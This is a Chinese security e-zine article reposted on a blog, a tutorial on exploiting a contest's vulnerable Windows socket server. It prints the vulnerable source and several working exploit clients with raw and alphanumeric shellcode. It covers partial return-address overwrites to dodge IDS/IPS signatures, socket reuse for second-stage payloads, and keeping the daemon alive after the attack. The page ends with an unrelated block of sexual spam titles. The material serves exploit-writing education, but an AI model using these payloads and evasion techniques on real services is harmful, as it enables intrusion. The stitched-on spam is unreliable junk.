• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            posts - 94, comments - 250, trackbacks - 0, articles - 0
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

                                      ==Ph4nt0m Security Team==
                                   Issue 0x01, Phile #0x03 of 0x06

            |=---------------------------------------------------------------------------=|
            |=---------------------=[       做一個(gè)優(yōu)秀的木匠      ]=---------------------=|
            |=---------------------------------------------------------------------------=|
            |=---------------------------------------------------------------------------=|
            |=--------------------=[           By F.Zh             ]=--------------------=|
            |=---------------------------------------------------------------------------=|
            |=---------------------------------------------------------------------------=|

                [本文內(nèi)容可能會(huì)傷及到部分名人粉絲感情,作者表示僅為插科打諢之用,并無惡意]
                有副圖描述了從發(fā)現(xiàn)漏洞到最后盈利的過程,大概意思是研究人員發(fā)現(xiàn)了房子的漏洞,木
            匠針對(duì)漏洞造了一個(gè)梯子,最后腳本小子進(jìn)屋偷東西。國(guó)內(nèi)的圈子里面,玩票性質(zhì)的安全愛好
            者大多不愿意做腳本小子,同時(shí)也不見得有足夠的時(shí)間去找房子的漏洞,所以閑暇時(shí)候基本上
            做做木匠活當(dāng)消遣。但木匠也是有三六九等的,有朱由校,有魯班,也有就只能給地主老財(cái)家
            做楠木棺材的。作為一個(gè)有職業(yè)道德的木匠,顯然應(yīng)該努力向前面兩個(gè)靠攏,因?yàn)橹荒茏鲎鲩?br>木棺材的,未免也太失面子了。

                這篇文章就從國(guó)內(nèi)某著名破解論壇搞的科普競(jìng)賽開始,由一個(gè)楠木棺材級(jí)別的木匠掙扎
            著介紹一下放眼能夠看到的技巧。在切入正題前,有必要介紹一下科普競(jìng)賽的背景和結(jié)果:
            大約是看到windows漏洞太值錢,破解組織也開始搞起了逆向和exploit,而且還以競(jìng)賽的方
            式來引起非木匠的關(guān)注。科普競(jìng)賽的題目是兩道,如Sowhat所說
            (http://hi.baidu.com/secway/blog/item/cb121863a6af72640c33facf.html),第二道題是
            可以Google到的,而第一道題顯然是個(gè)送分題,因此科普競(jìng)賽實(shí)際上是個(gè)比手快的過程。最
            后結(jié)果是nop拿了第一,這個(gè)名字讓人不禁聯(lián)想到了五一國(guó)際勞動(dòng)節(jié)和革命先烈鮮血的顏色,
            當(dāng)然,我們依然懷著無比的敬仰和美好的期望,希望這個(gè)nop不是職業(yè)運(yùn)動(dòng)員參加了業(yè)余比賽。
                先看看存在問題的程序。逆向很簡(jiǎn)單,但是為了方便,還是直接給出官方公布的源代碼。
            具有嚴(yán)重自虐傾向的木匠請(qǐng)編譯后用ida逆向一下,并自備低溫蠟燭和愛心小皮鞭。
            ========================和諧的分割線=================================
            #include<iostream.h>
            #include<winsock2.h>
            #pragma comment(lib, "ws2_32.lib")
            void msg_display(char * buf)
            {
              char msg[200];
              strcpy(msg,buf);// overflow here, copy 0x200 to 200
              cout<<"********************"<<endl;
              cout<<"received:"<<endl;
              cout<<msg<<endl;
            }
            void main()
            {
              int sock,msgsock,lenth,receive_len;
              struct sockaddr_in sock_server,sock_client;
              char buf[0x200]; //noticed it is 0x200
              WSADATA wsa;
              WSAStartup(MAKEWORD(1,1),&wsa);
              if((sock=socket(AF_INET,SOCK_STREAM,0))<0)
              {
                cout<<sock<<"socket creating error!"<<endl;
                exit(1);
              }
              sock_server.sin_family=AF_INET;
              sock_server.sin_port=htons(7777);
              sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
              if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
              {
                cout<<"binding stream socket error!"<<endl;
              }
              cout<<"**************************************"<<endl;
              cout<<"     exploit target server 1.0     "<<endl;
              cout<<"**************************************"<<endl;
              listen(sock,4);
              lenth=sizeof(struct sockaddr);
              do{
                msgsock=accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);
                if(msgsock==-1)
                {
                  cout<<"accept error!"<<endl;
                  break;
                }
                else
                  do
                  {
                    memset(buf,0,sizeof(buf));
                    if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
                    {
                      cout<<"reading stream message erro!"<<endl;
                      receive_len=0;
                    }
                    msg_display(buf);//trigged the overflow
                  }while(receive_len);
                  closesocket(msgsock);
              }while(1);
              WSACleanup();
            }
            ========================和諧的分割線=================================
                如注釋所言,這里是誤把0x200長(zhǎng)度的往200字符串里面拷貝了。其實(shí)這個(gè)問題并不具有
            代表性,比爾叔叔的手下們把widechar的長(zhǎng)度算錯(cuò)過,把棧上的變量當(dāng)堆釋放過,把用戶給的
            地址內(nèi)容加1過,唯獨(dú)沒有昏到把16進(jìn)制和10進(jìn)制搞混。不過既然主辦方這樣寫,我們也就這
            樣看吧。實(shí)際上逆向出來后,作為一個(gè)模板可以覆蓋ret,然后code page里面找jmp esp,然
            后這樣那樣,很簡(jiǎn)單就搞定exp了。盡管在冠軍的答案中看到了這種方法的影子,楠木棺材級(jí)
            木匠還是要揮舞著手中的鋸子說,這種程度只能去做洗腳盆。

                好吧,那我們一步一步地看如果從洗腳盆程度提升到楠木棺材級(jí)別,并展望一下更高的
            層次。
                首先是獲取CPU的控制權(quán)問題。

                dark spyrit在某期Phrack(記不清楚了)上提出可以用系統(tǒng)加載的dll上的指令碼來跳
            轉(zhuǎn)并獲得控制權(quán)。這里有一個(gè)前提,因?yàn)楹芮傻哪愀采w了一大堆東西后,ret退棧后esp指向
            你能夠控制的代碼,因此用一個(gè)jmp esp可以跳過來執(zhí)行,剩下就是編寫shellcode。但是,
            并不是說就只能用這個(gè)方法,或者說這個(gè)方法就最好。dark spyrit最大的貢獻(xiàn)是提出了一
            個(gè)通用的方法,同馬列主義毛澤東思想鄧小平理論三個(gè)代表八榮八恥一樣,雖然是放之四海
            而皆準(zhǔn)的真理,不過到了中國(guó),還是要要結(jié)合具體的國(guó)情來開展工作。拿jmp esp的東西往
            機(jī)器上一跑,不同的操作系統(tǒng)版本怎么辦,/3gb模式怎么辦?做洗腳盆的確可以區(qū)分著做出
            男用女用小孩用人妖用的,但是可能拿去用的人是超女的冠軍,如果事先你不知道名字,只
            看長(zhǎng)相,你說到底給那個(gè)盆子好?

                所以造梯子的時(shí)候,最好還是根據(jù)實(shí)際情況來。一般來說,棧溢出時(shí),對(duì)棧上的破壞情
            況不是很嚴(yán)重的話,在棧區(qū)域上可以看到很多上層函數(shù)的局部變量,而且這些局部變量往往
            是很有用的,比如湊巧就是你那個(gè)字符串的指針等。打棧上變量的主意有幾個(gè)好處,首先你
            可以用其他更穩(wěn)定的方法跳轉(zhuǎn)到惡意字符串的開頭,其次這可以給你多一些字節(jié)空間來存放
            shellcode,最后還可以防止一些ids/ips的檢測(cè)。我們可以用下面一個(gè)簡(jiǎn)單的圖示來把這
            三個(gè)優(yōu)勢(shì)混雜起來說明一下。
            <--lower                                                upper-->
            ================================================================
            var of vulnerable function   |  ret  |  var of upper function ...
            ================================================================
            NOP NOP NOP NOP NOP NOP NOP  |jmp esp|  shellcode
            ================================================================
            shellcode                    |jmp  ? |  var of upper function
            ================================================================

                第二行是馬列主義方法,你一定會(huì)覆蓋到ret,然后繼續(xù)覆蓋起碼2個(gè)字節(jié)(eb xx往回跳轉(zhuǎn))。
            因此一些ids/ips的signature就寫了,如果你超過xxoo個(gè)字節(jié),就阻止發(fā)送。就算寫得不好
            的signature起碼也會(huì)檢查你是否覆蓋到了ret的四個(gè)字節(jié),一些更嚴(yán)格的甚至只要覆蓋到ret
            的第一個(gè)字節(jié)就報(bào)警,對(duì)于這樣的情況,馬列主義方法肯定是被扼殺了,但是第三行的具體國(guó)
            情方法還有一線機(jī)會(huì)逃脫檢測(cè),我們根本不用覆蓋完ret的四個(gè)字節(jié),只要利用棧上的變量,
            找一些特定的字節(jié)碼就可以了。

                說到這里還可以插播一個(gè)事情,去年一月份泄露出來的.ani溢出的exp,大家對(duì)那個(gè)覆
            蓋了低兩位的exp驚嘆不已。這就是一個(gè)很好的例子:第一,你用最小的字節(jié)數(shù)完成了功能,
            最大限度避免了ids等的問題。第二,這個(gè)方法的穩(wěn)定性還好。這樣說其實(shí)是很抽象的,我們
            還是回到科普競(jìng)賽的代碼上來看。

                調(diào)用msg_display的時(shí)候傳遞進(jìn)來了一個(gè)參數(shù),在棧上表現(xiàn)出來是這個(gè)參數(shù)是緊接著ret
            地址后面的,如果我們僅覆蓋到了ret地址,當(dāng)CPU執(zhí)行完msg_display返回時(shí),esp剛好指向
            這個(gè)參數(shù),這個(gè)時(shí)候只需要一個(gè)能達(dá)到j(luò)mp [esp]功能的地址,就能準(zhǔn)確跳轉(zhuǎn)到我們傳入的
            字符串上去,顯然,滿足這個(gè)條件最好的指令就是0xc3(ret)。下面這個(gè)圖簡(jiǎn)單地說明了這
            個(gè)問題。
            <--lower                                                              upper-->
            =============================================================================
            var of vulnerable function  |  ret  |  ptr  | other var of upper function ...
            =============================================================================
            ^---------------------------------------|

                把圖中的ret用一個(gè)內(nèi)容為0xC3的地址A來覆蓋,當(dāng)msg_display返回時(shí),返回到了A地址,
            再執(zhí)行了一次0xC3(ret)指令,eip就跳到了字符串的開頭。

                這里的情況還是很簡(jiǎn)單的,實(shí)際exploiting中也許這個(gè)ptr離ret還有點(diǎn)距離,可能需要
            你pop幾次,這個(gè)形式上同覆蓋seh的利用方法相同,也算是一個(gè)巧合吧。

                然后來說說0xC3地址的尋找。首先很遺憾的,如果你想用四個(gè)字節(jié)完全覆蓋ret地址,
            沒有一個(gè)通用地方。msvcrt.dll在相同sp的不同語言系統(tǒng)中相對(duì)固定,code page在相同語
            言不同版本系統(tǒng)中相對(duì)固定。注意,這里只是相對(duì),碰上些特殊的情況,可能這些平時(shí)通用
            的地址根本就是無效的地址。再嚴(yán)格一些,如果這里地址必須符合某種編碼規(guī)范,也許你更
            難找到可用的地址,更別說通用了。

                洗腳盆級(jí)別的木匠到這里估計(jì)要暈倒了,棺材匠級(jí)別的應(yīng)該還有點(diǎn)辦法,兩個(gè)解決方案:

                第一、找一個(gè)替代產(chǎn)品來滿足編碼規(guī)范。比如0x7ffa1571是你要找的pop pop ret,沒
            必要一定要用0x7ffa1571,也許用0x7ffa156e也可以,只要pop pop ret前面的指令無傷大
            雅就是。一個(gè)實(shí)際的例子是泄露出來的realplayer import那個(gè),要找pop pop ret,但是符
            合編碼規(guī)范的范圍內(nèi)找不到,作為替代找了一個(gè) call xxx/ret xx,而且剛好call xxx還不
            會(huì)讓程序崩潰。

                第二、縮小覆蓋面積。覆蓋4個(gè)字節(jié)太痛苦了,少覆蓋幾個(gè)字節(jié)吧。x86的DWORD是低位
            在上的,所以你順序覆蓋的時(shí)候,首先覆蓋了ret地址的低位。正常的ret值是返回到某個(gè)pe
            文件中,比如00401258,如果覆蓋一個(gè)字節(jié),那可能的地址范圍是00401201~004012ff,如果
            覆蓋2個(gè)字節(jié),可能的地址范圍在00400101~0040ffff。這么大的范圍內(nèi)一般容易找到滿足
            要求的地址,而且更重要的是,pe文件版本固定的話,盡管加載的基地址可能會(huì)變化,但是由
            于基地址有個(gè)對(duì)齊的要求,低位(兩個(gè)字節(jié)或更多)完全固定,這實(shí)際上是一個(gè)很好的提高穩(wěn)
            定性的方法。現(xiàn)實(shí)中memcpy導(dǎo)致的問題用這種方法更有效,strcpy的麻煩些,不過好在只要
            說明問題就是,這里也不深究過多。馬上給出第一個(gè)代碼。
            ========================和諧的分割線=================================
            #include <winsock2.h>
            #include <stdio.h>
            #pragma comment(lib, "ws2_32")
            SOCKET ConnectTo(char *ip, int port)
            {
                SOCKET s;
                struct hostent *he;
                struct sockaddr_in host;
                if((he = gethostbyname(ip)) == 0)
                    return INVALID_SOCKET;
                host.sin_port = htons(port);
                host.sin_family = AF_INET;
                host.sin_addr = *((struct in_addr *)he->h_addr);
                if ((s = WSASocket(2, 1, 0, 0, 0, 0)) == -1)
                    return INVALID_SOCKET;
                if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
                {
                    closesocket(s);
                    return INVALID_SOCKET;
                }
                return s;
            }

            void main()
            {
                char malicious[] =  "\xcc"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "OA@";
                WSADATA wsaData;
                if(WSAStartup(0x0101,&wsaData) != 0)
                    return;
                SOCKET s = ConnectTo("127.0.0.1", 7777);
                send(s, malicious, 203, 0);  //hard encoded :)
                WSACleanup();
            }
            ========================和諧的分割線=================================

                執(zhí)行下順利到達(dá)int3指令。

                構(gòu)造exp的過程本身是簡(jiǎn)單的,關(guān)鍵在shellcode實(shí)現(xiàn)功能上。洗腳盆木匠到這一步基本
            上就是找一個(gè)shellcode來用。作為一個(gè)有職業(yè)道德的棺材級(jí)木匠,可能還應(yīng)該有點(diǎn)更高的
            追求:好的梯子除了能夠通用而精確地干掉存在漏洞的機(jī)器外,同時(shí)還要方便使用者,繞過
            防火墻,而且還要盡可能少地影響到守護(hù)進(jìn)程。對(duì)于網(wǎng)絡(luò)程序,理想的情況是復(fù)用端口,終
            極目標(biāo)是復(fù)用完了還不掛,后續(xù)的使用者能夠正常使用守護(hù)進(jìn)程的功能。后一點(diǎn)聽起來似
            乎有點(diǎn)不可思議,而且流傳在外面的各種exp,好像還罕有牛到這種程度,不過說穿了也沒什
            么奇怪的,棺材級(jí)的木匠一般都能做到,只是馬桶級(jí)木匠更喜歡散布馬桶級(jí)exp而已。我們
            把復(fù)用端口的問題留在后面,先聊聊如何讓守護(hù)進(jìn)程不掛掉這個(gè)事情。

                要程序不掛,最簡(jiǎn)單的辦法就是恢復(fù)溢出時(shí)候的上下文,然后返回去。通常jmp esp的方
            法因?yàn)楦采w得太多,棧給洗腳盆木匠搞得一團(tuán)糟,影響了太多上級(jí)函數(shù)的變量,導(dǎo)致根本沒有
            什么好辦法可以恢復(fù)。這個(gè)時(shí)候,盡可能少覆蓋的優(yōu)勢(shì)出來了:由于最大限度地保存了上層
            函數(shù)局部變量,所以要做的就是恢復(fù)相關(guān)寄存器的值,然后尋找正常流程應(yīng)該返回的地址,跳
            轉(zhuǎn)回去即可。對(duì)于這里這個(gè)簡(jiǎn)單的daemon,我們甚至可以硬編碼返回地址。還是把例子給出
            來,說明一下問題先。

            ========================和諧的分割線=================================
            char malicious[] =
            "\xCC"
            "LLLL`a"
            "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
            "OA@";
            ========================和諧的分割線=================================

                同前面一個(gè)代碼相同,0xCC為了調(diào)試方便,改成0x90后再編譯執(zhí)行下,可以看見守護(hù)進(jìn)程
            完全恢復(fù)了,你還可以telnet 7777過去正常執(zhí)行功能,和沒有發(fā)生過問題一樣。這里恢復(fù)的
            代碼用了一點(diǎn)小技巧,有興趣的木匠可以仔細(xì)看看,代碼`和a分別是pushad和popad,在這兩
            個(gè)中間可以放置任何功能的shellcode,不影響整體的框架。

                例子雖然簡(jiǎn)單,但是我建議讀到這里的木匠還是跟進(jìn)去看一下流程。由于這個(gè)實(shí)例比
            較直觀,代碼就簡(jiǎn)單恢復(fù)了上下文然后跳到正常地方執(zhí)行,對(duì)于復(fù)雜點(diǎn)的代碼,可能需要多
            費(fèi)一點(diǎn)手腳,但是大體思路和步驟還是可以確定的:首先收集一個(gè)正常執(zhí)行完出問題代碼的
            寄存器和棧狀態(tài);然后確定要返回的地址,搜索或者硬編碼,返回的地方可以是上一層,也可
            以返回上幾層,甚至無恥地跳到入口讓程序重新執(zhí)行一次都可以;最后將恢復(fù)的代碼編碼成
            shellcode,加在正常功能shellcode的后面。

                讓守護(hù)進(jìn)程不掛也做到了,接著看看端口復(fù)用的情況。
                最簡(jiǎn)單的網(wǎng)絡(luò)程序保留有一個(gè)SOCKET來通訊,很多已有的文章討論了如何找到當(dāng)前的
            SOCKET。最常用的方法是枚舉所有可能的值,然后發(fā)送特征字符串來確認(rèn)。也有人hook
            recv,通過稍微被動(dòng)一點(diǎn)的方法來獲得SOCKET。當(dāng)然這些都是懶人用的通用方法,對(duì)于特定
            的程序,簡(jiǎn)單而又穩(wěn)妥的方法是直接找棧上的變量,消耗的代碼少,而且一次性就能找到。
            如果編譯優(yōu)化的時(shí)候沒有具體分配棧上的空間給這個(gè)socket,則它一定會(huì)被保存在某個(gè)寄
            存器里面,那就更簡(jiǎn)單了。針對(duì)具體的情況,像recv之類的函數(shù)也沒有必要用很長(zhǎng)的通用代
            碼去搜索,只要在PE文件里面找找就成。具體的實(shí)現(xiàn)細(xì)節(jié)我們省略掉,給出代碼,直接跟進(jìn)
            去看看就知道了。

            ========================和諧的分割線=================================

            void main()
            {
                char malicious[] =  "\x90"
                                "LLLL`"
                                "\x33\xd2\x66\xba\x10\x10\x2b\xe2\x33\xf6\x56\x52\x54\x53\x66\xb8"
                                "\xe4\x90\xff\x10\x83\xec\x08\xff\xd4\x5d\x5d\x33\xd2\x66\xba\x10"
                                "\x10\x03\xe2"
                                "a"
                                "\x50\x44\x44\x68\x55\x55\x55\x12\x44\x44\xc3"
                                ""
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
                                "OA@";
                WSADATA wsaData;
                if(WSAStartup(0x0101,&wsaData) != 0)
                    return;
                SOCKET s = ConnectTo("127.0.0.1", 7777);
                send(s, malicious, 203, 0);

                send(s, "\xCC\xC3",2,0);
                Sleep(-1);
                WSACleanup();
            }
            ========================和諧的分割線=================================

                這里直接復(fù)用了當(dāng)前的SOCKET,再次調(diào)用recv收了一段shellcode來執(zhí)行,也就是后面看
            到的"\xCC\xC3"。自己再寫個(gè)簡(jiǎn)單的shellcode就是,基本沒有難度,只是注意要平衡棧,最
            后用個(gè)0xc3結(jié)尾。比較見鬼的是這個(gè)守護(hù)進(jìn)程有recv但是沒有send,所以shellcode里面你
            必須自己找到send的地址……娘西皮,還帶這樣玩的啊。

                其他情況下的復(fù)用還有一些其他的方法,比如IIS 5這一類的,比如RPC一類的。前者尋
            找一個(gè)結(jié)構(gòu),后者h(yuǎn)ook一個(gè)函數(shù),偽造或者搜索一個(gè)同時(shí)有in和out的opnum,具體細(xì)節(jié)baidu
            上能夠搜索到,限于篇幅這里也不再?gòu)U話了。如果對(duì)方是其他完成端口形式,比如ORACLE,只
            能暴力點(diǎn)shutdown掉當(dāng)前監(jiān)聽,自己來監(jiān)聽一個(gè)。當(dāng)然,也有沒什么好方法的,比如IIS6。

                上面的過程省略了沒有技術(shù)含量的shellcode編寫過程,主要說的是一些步驟,方法和技
            巧。穩(wěn)定,復(fù)用,還有不掛掉守護(hù)進(jìn)程,都作到了,洗腳盆也成功升級(jí)為了棺材匠,還有什么可
            以做的呢?

                美觀!這個(gè)shellcode簡(jiǎn)直不是一般的難看,混雜了可讀的字符和不可讀的字符,簡(jiǎn)直是
            丑陋不堪!你說一個(gè)木匠會(huì)把棺材做的全是毛刺么,不會(huì)雕龍刻鳳的木匠永遠(yuǎn)是二流的。對(duì)
            于木匠來說,終極的目標(biāo)是將一個(gè)exp發(fā)揮到極致,對(duì)于這樣簡(jiǎn)單的一個(gè)情況,要用所有可見
            的字符,最好盡可能都是字母,甚至exp都不用,直接用個(gè)telnet就可以溢出獲得shell了。

                不可能么?當(dāng)然是可能的,人有多大膽地有多大產(chǎn),錢老還論證過畝產(chǎn)萬斤是可行的呢。
            那么,還是給個(gè)sample。

            void main()
            {
                char malicious[] =  "`aZZZZZZZZZZZZZZZZZZTYXXXXfiAqcYfPAAeiAoHFXZPiAkj"
                        "brIPiAgVbaaPiAckwzOPLiAsloUWPiAZczabPiAVYDahPiARC"
                        "pDXPQlaatHWsaLtUAAAACFiaaPoHHmDahivabowabxANlKjPpp"
                        "ppPfqVfkzppQpBknrFJPPeruDecoOaeNtiPdPpPxSnLpHOoMd"
                        "AAAOA@";
                WSADATA wsaData;
                if(WSAStartup(0x0101,&wsaData) != 0)
                    return;
                SOCKET s = ConnectTo("127.0.0.1", 7777);
                send(s, malicious, 203, 0);

                send(s, "\xCC\xC3",2,0);
                Sleep(-1);
                WSACleanup();
            }

                這里兩段shellcode,我們主要解決第一步的問題。要說明malicious到底是個(gè)什么東西,
            牽扯的面就太廣了,我們假設(shè)看文章的木匠都是有匯編功底的,而且愿意反匯編進(jìn)去看一下,
            就簡(jiǎn)單的提提,因?yàn)橐獙戇@個(gè)shellcode的構(gòu)造,那又是一篇文章。shellcode里面首先平衡
            棧,然后對(duì)棧進(jìn)行一些patch,patch出想要的指令,然后對(duì)后續(xù)數(shù)據(jù)進(jìn)行解碼操作,最后再執(zhí)
            行。

                這個(gè)code,運(yùn)行順利可以抓到一個(gè)0xCC,也就是第二個(gè)send的。但是,ret后守護(hù)進(jìn)程還
            是掛了。

                為了美觀,我們exp的工作必須重頭再來。開始我們把姿態(tài)定得很低,目的是說明問題,
            現(xiàn)在把最重要的幾步都解決了,又回到了原點(diǎn),各位木匠們,現(xiàn)在可以動(dòng)起手來寫一下完全符
            合可見字符編碼的,復(fù)用當(dāng)前SOCKET的第二段shellcode了。按照前面的步驟,應(yīng)該不是很難
            的事情,讓守護(hù)進(jìn)程不掛也是可以的,malicious代碼保留了革命的火種,發(fā)生溢出時(shí)的寄存
            器值,都保留在上面,剩下一點(diǎn)工作,只是比寫普通shellcode稍微多費(fèi)點(diǎn)勁的活,不想試試看
            么。

                最后再賣個(gè)關(guān)子,棺材木匠說過,最終是可以由telnet提交的獲得shell,連exp都不用的。
            telnet是一個(gè)字符一個(gè)字符提交的,有沒有什么一次性提交203個(gè)字節(jié)導(dǎo)致第一次溢出呢?可
            以的,守護(hù)進(jìn)程只有一個(gè)線程,打打這方面的主意,用個(gè)小技巧吧。

            -EOF-


            只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
            網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


            精品久久综合1区2区3区激情| 日韩久久久久中文字幕人妻| 久久人人爽人人爽AV片| 青青草原1769久久免费播放| 日韩人妻无码一区二区三区久久| 2019久久久高清456| 久久男人中文字幕资源站| 久久久久久A亚洲欧洲AV冫| 97超级碰碰碰碰久久久久| 成人国内精品久久久久影院| 午夜精品久久久久久99热| 亚洲国产精品无码久久一线| 亚洲AV日韩精品久久久久久| 无码人妻精品一区二区三区久久久| 久久99久国产麻精品66| 亚洲va久久久噜噜噜久久男同| 久久精品欧美日韩精品| 国产91久久精品一区二区| 狠狠久久综合| 成人综合久久精品色婷婷| 久久人人爽爽爽人久久久| 久久精品国产91久久麻豆自制| 久久精品国产亚洲欧美| 久久久久亚洲av毛片大| 久久久久久久久波多野高潮| 久久午夜羞羞影院免费观看| 曰曰摸天天摸人人看久久久| 亚洲欧美成人久久综合中文网| 18岁日韩内射颜射午夜久久成人| 久久精品国产影库免费看| 久久精品国产精品亚洲人人 | 麻豆精品久久久久久久99蜜桃| 人妻无码中文久久久久专区| 伊人色综合久久| 99久久99久久精品国产片果冻| 国产精品久久久久影院嫩草| 午夜精品久久久久| 激情综合色综合久久综合| 久久国产劲爆AV内射—百度| 99久久免费国产精精品| 亚洲伊人久久成综合人影院 |